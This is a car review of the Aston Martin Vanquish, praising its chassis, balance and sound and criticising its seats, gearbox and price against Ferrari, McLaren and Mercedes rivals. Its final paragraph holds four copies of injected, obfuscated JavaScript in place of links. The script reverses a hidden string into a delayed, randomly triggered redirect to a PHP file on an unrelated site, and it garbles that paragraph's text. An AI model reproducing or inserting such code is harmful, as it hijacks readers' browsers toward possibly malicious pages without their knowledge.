New Aston Martin Vanquish. The Best Ever?

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It’s thanks to that new lighter, stiffer chassis, which permeates every control. The steering is smoother and rarely gets that nasty corrugated judder that has always affected VH-platform Astons. You just know it’s located better and that it’s turning wheels that are in tune with the surface. The ride is quite hard in Sport but the damping only ever needs one bite to deal with bumps, and the turn-in response and mid-corner feel is so much more secure thanks to that efficiency. The massive ceramic brakes haul off speed effortlessly and the Vanquish remains stable even in big stops from very high speed.

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Like the short-lived Aston Martin Virage (launched in 2011 and now defunct), the Vanquish also has superb traction in both the dry and wet, and feels less edgy than the sometimes unpredictable DBS. Pushing the throttle into the plush carpet results in strong if not overwhelming acceleration by today’s power-crazy standards. The accompanying soundtrack is bordering on pornographic and adds immensely to the visceral aspect of the Vanquish.

Skimming over crests, plunging into left-right compressions and thumping out of tight hairpins, the Vanquish is hooked-up and agile. In fact, for a heavy and powerful rear-driver, the balance is superb. While the Vanquish is intended to play the intoxicating big-lunged GT, it also does a pretty good job of impersonating a sportscar.

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So far so good, but it isn’t all peaches and cream. The first let down is the seats, which are neither especially comfortable while cruising nor do they offer much in lateral support when hooning. The second disappointment is the Vanquish’s Touchtronic 2 transmission: a six-speed ZF torque-converter automatic with paddle-shift. While mooching around it’s refined and slips into the background, but it lacks the creamy seamlessness of the new-generation ZF eight-speed automatic gearbox, not to mention the shift-speed of the latest double-clutch systems. In most cars these flaws wouldn’t be such an issue, but in a car that costs $303,000 and that has to compete with the best from Ferrari, Mercedes-Benz and Bentley they do grate on you.

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And it’s when the subject of the Vanquish’s rivals comes up that things get a bit tricky. In isolation, the Vanquish is a bewitching car and feels truly special. It combines drool-inducing looks with highly exploitable performance and displays a depth of ability that is significantly better than the car it replaces.

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All in all it’s a genuinely exciting and captivating machine but it does feel old school in comparison to the tech-fests that it’s competing against. The sheer level of brilliance of cars such as the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/ferrari-458-italia-maxxed-in-nurburg/” target=”_blank”>Ferrari 458 and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-civilised-lunatic-ferrari-f12berlinetta-driven/” target=”_blank”>F12, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/mclaren-mp4-12c-the-game-changer/” target=”_blank”>McLaren MP4-12C and the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/mercedes-sls-gt-chris-harris-on-track-at-hockenheim/” target=”_blank”>Mercedes SLS will make it difficult for the Vanquish to get noticed.

For once I have to agree with the PR people; the Vanquish really is the best Aston Martin yet. The big question is whether that will be enough.

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